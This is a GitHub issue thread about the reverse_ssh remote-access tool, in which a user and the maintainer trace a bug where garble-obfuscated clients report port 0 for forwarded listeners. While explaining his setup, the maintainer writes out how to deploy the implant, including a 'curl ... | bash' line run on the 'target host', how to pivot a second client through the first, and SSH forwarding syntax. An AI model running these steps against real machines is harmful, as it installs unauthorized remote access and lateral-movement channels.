Garbeled RSSH client fails to open/correctly listen open server forwards

[chikamobina]

Hi, I was interested in your update [v2.1.0] but I couldn't figure it out, I can't do it (

I got a client the normal way, then I open a port on this client listen -c MyClient1 --on :4433, it tells me that the port is open. Then how do I put another client MyClient2 on it on the local network? I tried to create a link with local address, link -s MyClient1:4433 but nothing works (I also tried proxy --proxy MyClient1:4433 but nothing works.

[NHAS]

Howdy, Glad to hear you're using v2.1.0 I thought you might like it!

Just want to confirm some things:

1. When generating the new client binary with link MyClient1 should be the ip address of the machine the client is listening on, is that correct?
2. Do you have any logs for me from the client? (you can get this by doing --foreground)

I have had this working doing the following:

catcher$ link -c client-id-here --on :4444

./client -d <ip_address_of_client>:4444

Am just testing to make sure that baking in the server address works

Also I'd suggest updating to v2.1.1 as I've resolved a bug which can cause linux clients to exit when they fork.

[chikamobina]

Most likely there is no problem in your software, I just do not understand how I do it :D

When creating a build for Client2, you need to specify in -s IP address and port from Client1, right? I just don't understand it.

link -s 10.0.2.35:4433 --goos windows --goarch amd64 Is this what it's supposed to look like?

[NHAS]

Sweet just confirmed embedding works (on linux at least but there is no functional different between win and linux).
From what I can see that looks correct to me.

I'll set up a windows box to get closer to what you're doing.

Here is how I do it:

Setup first client

catcher$ link
http://10.1.0.11:3232/e2e69efe00b0508b91f1d602f014414c

On target host:

curl http://10.1.0.11:3232/e2e69efe00b0508b91f1d602f014414c.sh | bash

Check connection on the catcher:

catcher$ ls -t
                           Targets
+------------------------------------------+------------------------+
| IDs                                      | Version                |
+------------------------------------------+------------------------+
| 0dfc49c2030458d175f1894a3a575e8dca85428a | SSH-v2.1.1-linux_amd64 |
| 3496e46c5462d71b73bf85145120bad232c9472f |                        |
| user.host                                |                        |
| 10.2.2.2:40308                           |                        |
+------------------------------------------+------------------------+
catcher$ listen -c 0dfc49c2030458d175f1894a3a575e8dca85428a --on :4444
started :4444 on 1 clients (total 1)

Check that the client has actually opened the port:

catcher$ listen -c * -l
0dfc49c2030458d175f1894a3a575e8dca85428a (user.hostname  10.2.2.2:40308):
	:4444

Generate new link with server callback set to newly opened client port (in this case both rssh clients happen to be on the same host so I use 127.0.0.1, localhost):

catcher$ link -s 127.0.0.1:4444
http://127.0.0.1:4444/f11e96bd6005435737631da447ea004c

Try newly made client with different server address:

curl http://10.1.0.11:3232/f11e96bd6005435737631da447ea004c .sh | bash

See new client connect

catcher$ watch
Watching clients...
2023/06/09 21:16:12 <- user.host (127.0.0.1:59120 f1474a01ecb7b50220b828a61b8ade9b0dd0d2b4) SSH-v2.1.1-linux_amd64 connected

[chikamobina]

When you enter the command listen -c * -l

(root.client1 10.0.0.2:41242):
:0
Port 0, it turns out not open ? I did --on :4433, so that's my problem, my client can not open the port?

[NHAS]

Whoa! Thats weird, that may actually be a bug in rssh. Just trying to get vagrant to co-operate with me and I'll be able to tell me.

:0 typically means "Im open on any port" which isnt a valid response.

[chikamobina]

started :4444 on 1 clients (total 1)

:46500):
:0

But maybe it's my server, maybe rssh just can't forward the port from it. Although if the client is already hanging, it should.

[chikamobina]

Client version SSH-v2.1.0, and I upgraded the server to 2.1.1

[NHAS]

Nah, I think this is a bug somehow.

[NHAS]

Im running my server with the following:

./server --webserver :3232

How are you running yours?

[chikamobina]

docker run -p443:2222 -e EXTERNAL_ADDRESS=MYIP:443 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v /data:/data reversessh/reverse_ssh

[chikamobina]

I switched to docker

[NHAS]

Okay I've just tried running it in windows and havent got the same result that you got. So its not specifically a windows client bug.

I'll try rerunning the server in docker

[chikamobina]

So my client1 is linux and client2 is windows

[NHAS]

Hrm. Thats even stranger then.

So you're listening on client1 which is linux, and its giving you :0.

Do you mind giving me what version/distro of linux it is?

[chikamobina]

Linux 4.4.182-1.ph1 #1-photon is my vcenter server, I just couldn't find another one for tests at hand.

[NHAS]

Sweet, can confirm that on archlinux that your work flow all works.

I.e in my use case client1 is arch, client2 is windows 10, they both can open ports.

[chikamobina]

I get it, my cross is behind nat, then I just have a problem with opening the port on linux, thanks, so I did everything right.

[NHAS]

Yeah you've done everything right in terms of commands.

NAT and whatnot should not be coming in to play here. It's something about how your server is opening ports that seems a lil funky.

Can you tell it to open a port like 7777 and then just do ss -tl or the netstat equivalent to see if its opening the port but reporting the port wrong?

This seems to me like its sending back an empty structure to the server

Also Im assuming you can open a port normally with something like netcat?

This could always be a case of selinux,apparmour or some other linux security mechanism that vmsphere has that I dont

[NHAS]

Actually. The most helpful thing you could do here is on your linux client just run it in foreground mode so I can get some logs:

./client --foreground

[chikamobina]

I'm going to try everything now.

[chikamobina]

Nope, on client1 the ss -tl command does not open the port 7777. Now I will try to open it myself, if it works.

[chikamobina]

And no, everything opens, through the listen, tcp6 0 0 :::7333 :::* LISTEN

[chikamobina]

But it's still 0
:38678):
:0
I will now try to connect the client to it.

[chikamobina]

catcher$
about the catcher will appear. The problem was with certain ports, did not give them to do. But it still writes port 0 )) but everything should be working by now. Thank you.

[NHAS]

Sorry I don't quite understand what you mean here.

My vague understanding is:
The port is returning 0 but actually is open properly?

And the problem was because the firewall didn't allow it or something?

Still sounds like a bug that rssh isn't returning the correct port. I wish I could reproduce it :/

[chikamobina]

I will still test it and report back later, so far everything is working, but I have not been able to run client2 yet. But most likely it's the firewall , that's why there is 0

[NHAS]

Alright thanks. I still don't think the firewall should be making the listen fail in this way.

[chikamobina]

Yes, something did not work for me, not even a session arrives. I'll start a little later with foreground

[chikamobina]

Hm, imagine, and it's not the Photon OS, in my entire lab, on any machine it does that :D even on windows

:58498):
:0

[chikamobina]

So it's definitely the firewall. Strange how it happens, but at the same rssh sessions to another external server come and everything works.

[NHAS]

What firewall are you using? Considering this is the rssh client just informing the kernel it would like to open a port I have no idea how a firewall would do anything to the display or result of it?

Could you give me the output from one of the clients run in --foreground?

[chikamobina]

I will try to show the output today. And test in my other lab, where nothing stands.

[NHAS]

Yeah cheers. Im just so curious that this isnt just happening on the linux box but on windows as well!

The only thing I could think of is that its a kernel module that prevents the listen syscall from working but doesnt result in an error?
But the listing result being :0 indicates that the RSSh client is receiving a request to open port 0 from the server. I do really want to replicate this so any details are useful :)

[chikamobina]

Anyway tested on a completely different server, and ran it on his computer, still writes 0 port )))
48858):
:0
In short, I think the problem is in docker, it is something crooked update, I'll try today one server completely cleaned and re-set.

[NHAS]

That is super odd.

Can you please give me the output of a client running in foreground when you start a listening port?

Also is this with or without garble?

[chikamobina]

It's all with garble

[chikamobina]

I haven't tried it without

[NHAS]

Ah cool! I've been trying without garble. So perhaps try that as well?

Thanks for the help

[chikamobina]

I'm going to try it without it.

[chikamobina]

:
:4433
Yeah, everything works without it)))

[NHAS]

Well pain and suffering.
Thanks, I'll fix that when I'm at a computer, out of interest does local and remote forwarding work for you generally?

As you should be able to use the full ssh spec for tcp forwarding

[chikamobina]

Haven't had a chance to test it yet, but it should work, it's a very cool feature

[NHAS]

Well it uses the same structure that is getting mangled by garble by the looks so it may not work.

Would make sense as to why you're only hitting this now.

[chikamobina]

I don't understand then, what's the redirection? Can you show me commands or something else.

" out of interest does local and remote forwarding work for you generally?"

[NHAS]

Okay. Sweet, this has now been fixed and is living on unstable. In the process of fixing this I also fixed another bug, so I'll do a release sooner rather than later (maybe tomorrow?)

To answer your question:

RSSH supports lots of features of openssh (like file transfer sftp and scp). It also supports local and remote forwarding.
Local forwarding is where the ssh tool opens a port on your local machine, and the remote server connects to a remote host or itself and effectively "streams" the remote TCP port to your local machine.

Remote forwarding is the inverse, you open a port on your machine and then use ssh to remotely stream it to a server (or in this case an RSSH client) where the end software will open a TCP port on that end, and stream any data that hits that port back to your local service.

Both very are useful.

How you use this in SSH (and rssh) is as follows:

Local Forwarding

Syntax

ssh -L <local port>:<remote ip address>:<remote port> <public ssh server ip address>

How you'd usually use it on any normal openssh server:

# The following example effectively 'takes' port `80/tcp` on `your.remote.webserver.com` and 'attaches' it to port `80/tcp` on your local machine
# so you can connect to port 80/tcp on your local machine as if you were on your remote webserver
ssh -L 80:127.0.0.1:80 your.remote.webserver.com

How you can use it in rssh:

In RSSH you can use this by using the jumphost (-J) syntax using the RSSH server as your jump host, and your client as the destination:

# Does the same as before, 'takes' port 80/tcp that is on the rssh clients machine, and effectively opens it on your local machine
# this time you just need to specify that you're jumping through the rssh server first
ssh -J your.rssh.server -L 80:127.0.0.1:80 <client_id>

Remote Forwarding

Syntax

ssh -R <remote port>:<local ip address>:<local port> <remote ip address>

How you'd usually use it on any normal openssh server:

# Open the port 8888/tcp on the remote.server and have it attached/send data to the service running on localhost 8080/tcp
ssh -R 8888:127.0.0.1:8080 remote.server

How you can use it in rssh:

ssh -J your.rssh.server -R 8888:127.0.0.1:8080 remote.server

RSSH specific

The RSSH server console command listen for clients is actually just a special RSSH-only version of a remote forward, mainly there to be convenient. So it remotely forwards the servers port onto the client.

Hope this all makes sense!

[chikamobina]

I just do it through -D.

ssh -D 5000 -J proxy_server:4443 hostname

[NHAS]

Ah yes, but -R and -L allow you to forward ports if you needed to expose a service to the remote network

[chikamobina]

I always have enough -D to send requests to the network.

[NHAS]

Perfect! You may also like the most recent addition of the vpn/tun device which lets you send udp and some icmp packets as well.

tell me if the patch works for you by the way!

[chikamobina]

Haven't had a chance to update yet.

Yes vpn/tun is cool and useful, sometimes.